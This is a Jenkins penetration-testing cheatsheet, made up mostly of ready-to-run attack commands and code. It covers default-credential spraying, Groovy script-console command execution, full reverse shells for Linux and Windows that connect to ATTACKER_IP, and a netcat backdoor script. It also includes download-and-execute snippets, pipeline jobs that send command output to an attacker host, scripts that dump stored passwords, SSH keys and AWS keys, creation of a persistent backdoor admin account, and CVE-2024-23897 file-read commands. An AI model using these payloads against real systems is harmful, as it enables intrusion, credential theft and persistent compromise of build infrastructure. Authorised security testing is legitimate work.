Jenkins

Jenkins Pentesting Cheatsheet

BLUF: Jenkins is a crown-jewel CI/CD target. The script console gives direct OS RCE as the jenkins user. Stored credentials often include SSH keys, API tokens, cloud keys, and service account passwords for every system in the pipeline.


Attack Flow

1. Recon      → Port scan 8080/8443, grab X-Jenkins header, check version
2. Anon Check → Test unauthenticated access to /script, /api, /manage, /asynchPeople
3. Auth       → Spray default creds, brute force, check signup page
4. Enum       → Users, jobs, plugins, nodes, credentials (with auth)
5. RCE        → Script console Groovy → OS command / reverse shell
6. Post-Ex    → Dump stored credentials (SSH, AWS, API, DB) → pivot
7. Persist    → Admin user creation, malicious job, plugin backdoor

Recon

# Common ports — Jenkins defaults to 8080 HTTP, 8443 HTTPS
nmap -sV -p 8080,8443,443,80 <target>

# Version from response header (no auth needed)
curl -sI http://<target>:8080 | grep -i "x-jenkins"
curl -sI http://<target>:8080 | grep -i "server"

# Version from login page
curl -s http://<target>:8080/login | grep -i "jenkins ver"

# Version from API (if anonymous access enabled)
curl -s http://<target>:8080/api/json | jq .

# Who-am-I (often accessible even without auth)
curl -s http://<target>:8080/whoAmI/api/json

Common Jenkins Ports

Port Protocol Notes
8080 HTTP Default
8443 HTTPS Default TLS
50000 TCP Agent/JNLP port
443/80 HTTP/S Reverse proxy setups

Anonymous Access Checks

Test these without credentials first. Each endpoint that returns 200/content rather than 403 is a misconfiguration to flag.

BASE="http://<target>:8080"

# Core sensitive endpoints
curl -s $BASE/script            # Groovy script console — RCE if accessible
curl -s $BASE/manage            # Management page
curl -s $BASE/systemInfo        # OS, Java, env vars
curl -s $BASE/credentials/      # Stored credentials list
curl -s $BASE/asynchPeople/     # User directory
curl -s $BASE/log/all           # System log
curl -s $BASE/view/all/newJob   # Job creation
curl -s $BASE/computer/         # Agent nodes
curl -s $BASE/pluginManager/    # Plugin list

# API endpoints
curl -s $BASE/api/json          # Master API
curl -s $BASE/api/json?pretty=true

# CLI jar (downloadable without auth — check if usable)
curl -s -O $BASE/jnlpJars/jenkins-cli.jar

Self-Registration Check

# If signup exists and is functional → create an account without invite
curl -s http://<target>:8080/signup

# Note: Even if the form loads, account creation may fail silently
# Check for Jenkins-Crumb header in the form (CSRF protection active)
curl -s http://<target>:8080/signup | grep "Jenkins-Crumb\|crumb"

Authentication — Default Credentials

Username Password Notes
admin admin Most common default
admin password
jenkins jenkins
admin jenkins
admin (empty) Older installs with no auth
# Initial admin password (file-based — useful if you have FS access)
cat /var/lib/jenkins/secrets/initialAdminPassword      # Linux
type C:\ProgramData\Jenkins\.jenkins\secrets\initialAdminPassword  # Windows

Brute Force

# Hydra — HTTP form POST
hydra -L users.txt -P passwords.txt <target> -s 8080 http-post-form \
  "/j_spring_security_check:j_username=^USER^&j_password=^PASS^&Submit=Sign+in:Invalid username or password"

# JenkinsVulnFinder (anonymous + brute)
# https://github.com/Bhanunamikaze/JenkinsVulnFinder
python JenkinsVulnsFinder.py --url http://<target>:8080 --nocred
python JenkinsVulnsFinder.py --url http://<target>:8080 --cred user:pass
python JenkinsVulnsFinder.py --url http://<target>:8080 --nocred \
  --brute --users users.txt --pass passwords.txt

# Metasploit
use auxiliary/scanner/http/jenkins_login
set RHOSTS <target>; set RPORT 8080
set USER_FILE users.txt; set PASS_FILE pass.txt; run

Authenticated Enumeration

Get CSRF Crumb (Required for POST Requests)

# Must be included in all POST/PUT requests as a header
CRUMB=$(curl -s -u user:pass "http://<target>:8080/crumbIssuer/api/json" \
  | python3 -c "import sys,json; d=json.load(sys.stdin); print(d['crumbRequestField']+':'+d['crumb'])")
echo $CRUMB
# Use as: -H "$CRUMB"

User Enumeration

# People directory
curl -su user:pass http://<target>:8080/asynchPeople/api/json | jq .

# Specific user info
curl -su user:pass http://<target>:8080/user/admin/api/json

# MSF user enum
use auxiliary/scanner/http/jenkins_enum
set RHOSTS <target>; set RPORT 8080; run

Job Enumeration

# List all jobs
curl -su user:pass "http://<target>:8080/api/json?tree=jobs[name,url]" | jq .

# Job details
curl -su user:pass http://<target>:8080/job/<jobname>/api/json | jq .

# Build history
curl -su user:pass "http://<target>:8080/job/<jobname>/api/json?tree=builds[number,url]"

# Console output from last build (gold mine — may have secrets/errors)
curl -su user:pass http://<target>:8080/job/<jobname>/lastBuild/consoleText

# Job config XML (may contain plaintext secrets or pipeline logic)
curl -su user:pass http://<target>:8080/job/<jobname>/config.xml

Plugin Enumeration

# Full plugin list with versions
curl -su user:pass "http://<target>:8080/pluginManager/api/json?depth=1" | jq '.plugins[] | {shortName, version, active}'

# Cross-reference against known CVEs
# https://www.jenkins.io/security/advisories/

Node / Agent Enumeration

# List agent nodes (often have broader network access)
curl -su user:pass http://<target>:8080/computer/api/json | jq .

# Agent details
curl -su user:pass http://<target>:8080/computer/<node-name>/api/json

Credential Store Enumeration

# List credential IDs (descriptions visible without master key)
curl -su user:pass http://<target>:8080/credentials/store/system/domain/_/api/json | jq .

# View individual credential metadata
curl -su user:pass "http://<target>:8080/credentials/store/system/domain/_/credential/<id>/api/json"

Script Console RCE (Primary Attack Path)

URL: http://<target>:8080/script
Requires authentication + admin/Script-Execute privilege.

OS Command Execution

// Basic command execution
def cmd = "id"
def proc = cmd.execute()
proc.waitFor()
println proc.text

// Shell execution (Linux)
def cmd = ["/bin/bash", "-c", "id; whoami; hostname"]
def proc = cmd.execute()
proc.waitFor()
println proc.text

// Windows
def cmd = ["cmd.exe", "/c", "whoami && ipconfig"]
def proc = cmd.execute()
proc.waitFor()
println proc.text

Reverse Shell — Groovy (Linux)

String host = "ATTACKER_IP"
int port = 4444
String cmd = "/bin/bash"
Process p = new ProcessBuilder(cmd).redirectErrorStream(true).start()
Socket s = new Socket(host, port)
InputStream pi = p.getInputStream(), pe = p.getErrorStream(), si = s.getInputStream()
OutputStream po = p.getOutputStream(), so = s.getOutputStream()
while (!s.isClosed()) {
    while (pi.available() > 0) so.write(pi.read())
    while (pe.available() > 0) so.write(pe.read())
    while (si.available() > 0) po.write(si.read())
    so.flush(); po.flush()
    Thread.sleep(50)
    try { p.exitValue(); break } catch (Exception e) {}
}
p.destroy(); s.close()

Reverse Shell — Groovy (Windows)

String host = "ATTACKER_IP"
int port = 4444
String cmd = "cmd.exe"
Process p = new ProcessBuilder(cmd).redirectErrorStream(true).start()
Socket s = new Socket(host, port)
InputStream pi = p.getInputStream(), pe = p.getErrorStream(), si = s.getInputStream()
OutputStream po = p.getOutputStream(), so = s.getOutputStream()
while (!s.isClosed()) {
    while (pi.available() > 0) so.write(pi.read())
    while (pe.available() > 0) so.write(pe.read())
    while (si.available() > 0) po.write(si.read())
    so.flush(); po.flush()
    Thread.sleep(50)
    try { p.exitValue(); break } catch (Exception e) {}
}
p.destroy(); s.close()

Useful Groovy Snippets

// Print all environment variables (pipeline secrets often here)
System.getenv().each { k, v -> println "${k}:${v}" }

// Read arbitrary file
println new File('/etc/passwd').text
println new File('/var/lib/jenkins/secrets/initialAdminPassword').text
println new File('/var/lib/jenkins/credentials.xml').text

// Write file (drop webshell, backdoor, etc.)
new File('/tmp/backdoor.sh').write('#!/bin/bash\nnc ATTACKER_IP 4444 -e /bin/bash')
"chmod +x /tmp/backdoor.sh".execute()

// Execute and capture output
def proc = "ls -la /var/lib/jenkins/".execute()
println proc.text

// Download and execute
new URL('http://ATTACKER_IP/shell.sh').openStream().eachLine { println it }
"chmod +x /tmp/shell.sh".execute()
"/tmp/shell.sh".execute()

// Jenkins home directory
println jenkins.model.Jenkins.instance.getRootDir()

Script Console via curl (POST)

# Get CSRF crumb first
CRUMB=$(curl -su user:pass http://<target>:8080/crumbIssuer/api/json | \
  python3 -c "import sys,json; d=json.load(sys.stdin); print(d['crumbRequestField']+':'+d['crumb'])")

# POST Groovy script
curl -su user:pass http://<target>:8080/scriptText \
  -H "$CRUMB" \
  --data-urlencode "script=println 'id'.execute().text"

Job-Based RCE (No Script Console Access Required)

If you can create/modify jobs but not access /script, use a pipeline job.

# Create a freestyle job that runs OS commands via shell build step
# Or create a Pipeline job with inline Groovy

CRUMB=$(curl -su user:pass http://<target>:8080/crumbIssuer/api/json | \
  python3 -c "import sys,json; d=json.load(sys.stdin); print(d['crumbRequestField']+':'+d['crumb'])")

# Create pipeline job via API
curl -su user:pass -X POST http://<target>:8080/createItem?name=pwnjob \
  -H "$CRUMB" \
  -H "Content-Type: application/xml" \
  --data '<?xml version="1.0" encoding="UTF-8"?>
<flow-definition>
  <definition class="org.jenkinsci.plugins.workflow.cps.CpsFlowDefinition">
    <script>
      node {
        sh "id > /tmp/pwned.txt; curl http://ATTACKER_IP/?$(id)"
      }
    </script>
  </definition>
</flow-definition>'

# Trigger the job
curl -su user:pass -X POST http://<target>:8080/job/pwnjob/build \
  -H "$CRUMB"

Credential Harvesting (Script Console)

Username/Password Credentials

def creds = com.cloudbees.plugins.credentials.CredentialsProvider.lookupCredentials(
    com.cloudbees.plugins.credentials.common.StandardUsernamePasswordCredentials.class,
    Jenkins.instance, null, null
)
for (c in creds) {
    println(c.id + ":" + c.username + ":" + c.password)
}

SSH Private Keys

def sshCreds = com.cloudbees.plugins.credentials.CredentialsProvider.lookupCredentials(
    com.cloudbees.jenkins.plugins.sshcredentials.impl.BasicSSHUserPrivateKey.class,
    Jenkins.instance, null, null
)
for (c in sshCreds) {
    println(c.id + ":" + c.username)
    println(c.privateKey)
}

AWS Credentials

def awsCreds = com.cloudbees.plugins.credentials.CredentialsProvider.lookupCredentials(
    com.cloudbees.jenkins.plugins.awscredentials.AWSCredentials.class,
    Jenkins.instance, null, null
)
for (c in awsCreds) {
    println("ID: " + c.id)
    println("Access Key: " + c.accessKey)
    println("Secret Key: " + c.secretKey)
}

Secret Text / API Tokens

def secretCreds = com.cloudbees.plugins.credentials.CredentialsProvider.lookupCredentials(
    org.jenkinsci.plugins.plaincredentials.StringCredentials.class,
    Jenkins.instance, null, null
)
for (c in secretCreds) {
    println(c.id + ":" + c.secret)
}

credentials.xml (File-Based Extraction)

# If you have filesystem access (SSH, RCE)
cat /var/lib/jenkins/credentials.xml

# Decrypt with Jenkins master key
# Master key: /var/lib/jenkins/secrets/master.key
# Hudson secret: /var/lib/jenkins/secrets/hudson.util.Secret
# Use jenkins-credentials-decryptor to offline decrypt:
# https://github.com/hoto/jenkins-credentials-decryptor
java -jar jenkins-credentials-decryptor.jar \
  -m /var/lib/jenkins/secrets/master.key \
  -s /var/lib/jenkins/secrets/hudson.util.Secret \
  -c /var/lib/jenkins/credentials.xml

Post-Exploitation

System Information

// OS / Java / Jenkins details
println "OS: " + System.getProperty("os.name")
println "User: " + System.getProperty("user.name")
println "Home: " + System.getProperty("user.home")
println "Jenkins home: " + jenkins.model.Jenkins.instance.getRootDir()
println "Java: " + System.getProperty("java.version")

Admin User Creation (Persistence)

// Create a new admin user via script console
def user = hudson.model.User.get("backdoor", true, Collections.emptyMap())
def pw = hudson.security.HudsonPrivateSecurityRealm.Details.fromPlainPassword("P@ssw0rd!")
user.addProperty(pw)
def adminRole = new jenkins.model.Jenkins.ADMINISTER()
jenkins.model.Jenkins.instance.setAuthorizationStrategy(
    new hudson.security.FullControlOnceLoggedInAuthorizationStrategy()
)
user.save()
println "User created"

Lateral Movement via Build Agents

# Agents typically have broader internal network access
# Enumerate agents
curl -su user:pass http://<target>:8080/computer/api/json | jq '.computer[] | {displayName, offline}'

# Execute commands on a specific agent via pipeline
node('<agent-label>') {
    sh 'id; curl http://ATTACKER_IP/$(hostname)'
}

Secret Files from Workspace

# Build workspaces often contain source code, config files, .env, etc.
curl -su user:pass "http://<target>:8080/job/<jobname>/ws/"

# Download specific file from workspace
curl -su user:pass "http://<target>:8080/job/<jobname>/ws/.env" -O
curl -su user:pass "http://<target>:8080/job/<jobname>/ws/config.yml" -O

CVEs — Notable Jenkins Vulnerabilities

CVE Version Type Impact
CVE-2024-23897 < 2.442 Arbitrary file read via CLI Read secrets, escalate to RCE
CVE-2023-27898 < 2.319.2 XSS → stored Admin account takeover
CVE-2022-0538 < 2.333 Log4Shell chain RCE
CVE-2019-1003000 < 2.137 Sandbox bypass Groovy RCE from Pipeline
CVE-2018-1000861 < 2.153 RCE via crafted request Unauthenticated RCE
CVE-2016-0792 < 1.650 Java deserialization Unauthenticated RCE via JNLP

CVE-2024-23897 (File Read → RCE)

# Download CLI jar
curl -sO http://<target>:8080/jnlpJars/jenkins-cli.jar

# Read arbitrary file (no auth required in affected versions)
java -jar jenkins-cli.jar -s http://<target>:8080 help "@/etc/passwd"
java -jar jenkins-cli.jar -s http://<target>:8080 help "@/var/lib/jenkins/secrets/initialAdminPassword"
java -jar jenkins-cli.jar -s http://<target>:8080 help "@/var/lib/jenkins/credentials.xml"

# MSF module
use exploit/multi/http/jenkins_cli_deserialization
set RHOSTS <target>; set RPORT 8080; run

Tools

Jenkins CLI

# Download
curl -sO http://<target>:8080/jnlpJars/jenkins-cli.jar

# Auth check
java -jar jenkins-cli.jar -s http://<target>:8080 -auth user:pass who-am-i

# List jobs
java -jar jenkins-cli.jar -s http://<target>:8080 -auth user:pass list-jobs

# Execute Groovy
java -jar jenkins-cli.jar -s http://<target>:8080 -auth user:pass groovy = <<< "println 'id'.execute().text"

# SSH auth variant (if SSH port is open, default 22 or 50022)
ssh -l user -p 8022 <target> help

Jenkins Attack Framework (JAF)

# https://github.com/Accenture/jenkins-attack-framework
git clone https://github.com/Accenture/jenkins-attack-framework.git
cd jenkins-attack-framework && sudo ./jaf --install

# Access check (anonymous if no creds)
python jaf.py AccessCheck -s http://<target>:8080/ -a user:pass

# Cookie/session auth
python jaf.py AccessCheck -s http://<target>:8080/ \
  -a "JSESSIONID.b56cceb4=node01xxx|crumb=74366885..."

# Console output from all jobs
python jaf.py ConsoleOutput -s http://<target>:8080/ -a user:pass

# Dump all credentials
python jaf.py DumpCreds -s http://<target>:8080/ -a admin:pass

# List API tokens
python jaf.py ListAPITokens -s http://<target>:8080/ -a admin:pass

# List jobs
python jaf.py ListJobs -s http://<target>:8080/ -a user:pass

# Remote command execution
python jaf.py RunCommand whoami -s http://<target>:8080/ -a admin:pass

JenkinsVulnFinder

# https://github.com/Bhanunamikaze/JenkinsVulnFinder

# Mass discovery
./JenkinsScanner.sh -i ip_list.txt -p 80,443,8443,8080,8010,8090,8085 -o jenkins_instances.txt

# Vulnerability scan (no creds)
python JenkinsVulnsFinder.py --url http://<target>:8080 --nocred

# With credentials
python JenkinsVulnsFinder.py --url http://<target>:8080 --cred user:pass

# With brute force
python JenkinsVulnsFinder.py --url http://<target>:8080 --nocred \
  --brute --users users.txt --pass passwords.txt

# Directory brute
python JenkinsVulnsFinder.py --url http://<target>:8080 --nocred --dirb wordlist.txt

Metasploit

use auxiliary/scanner/http/jenkins_enum       # Enumerate
use auxiliary/scanner/http/jenkins_login      # Brute force
use exploit/multi/http/jenkins_script_console # RCE via script console
use exploit/multi/http/jenkins_cli_deserialization  # CVE-2016-0792
use auxiliary/scanner/http/jenkins_command    # Execute command (authenticated)

Common Jenkins Paths

Path Notes
/script Groovy script console — highest value
/manage Admin management page
/systemInfo OS, Java, environment variables
/credentials/ Stored credential IDs
/asynchPeople/ User directory
/log/all System log
/view/all/newJob Create new job
/pluginManager/ Plugin list
/computer/ Build agents / nodes
/api/json REST API root
/whoAmI/api/json Auth status check
/jnlpJars/jenkins-cli.jar CLI tool download
/signup Self-registration
/crumbIssuer/api/json CSRF token
/job/<name>/config.xml Job configuration XML
/job/<name>/lastBuild/consoleText Latest build output
/job/<name>/ws/ Build workspace files

Misconfigurations Checklist


Quick Reference

Task Command
Version curl -sI http://target:8080 | grep X-Jenkins
Anon access curl -s http://target:8080/api/json
Who am I curl -s http://target:8080/whoAmI/api/json
Get crumb curl -su u:p http://target:8080/crumbIssuer/api/json
List jobs curl -su u:p "http://target:8080/api/json?tree=jobs[name]"
Build output curl -su u:p http://target:8080/job/NAME/lastBuild/consoleText
Groovy RCE POST to /scriptText with script=<groovy>
Dump creds Groovy CredentialsProvider.lookupCredentials(...)
CLI download curl -sO http://target:8080/jnlpJars/jenkins-cli.jar
File read CVE java -jar jenkins-cli.jar -s http://target help "@/etc/passwd"

Key References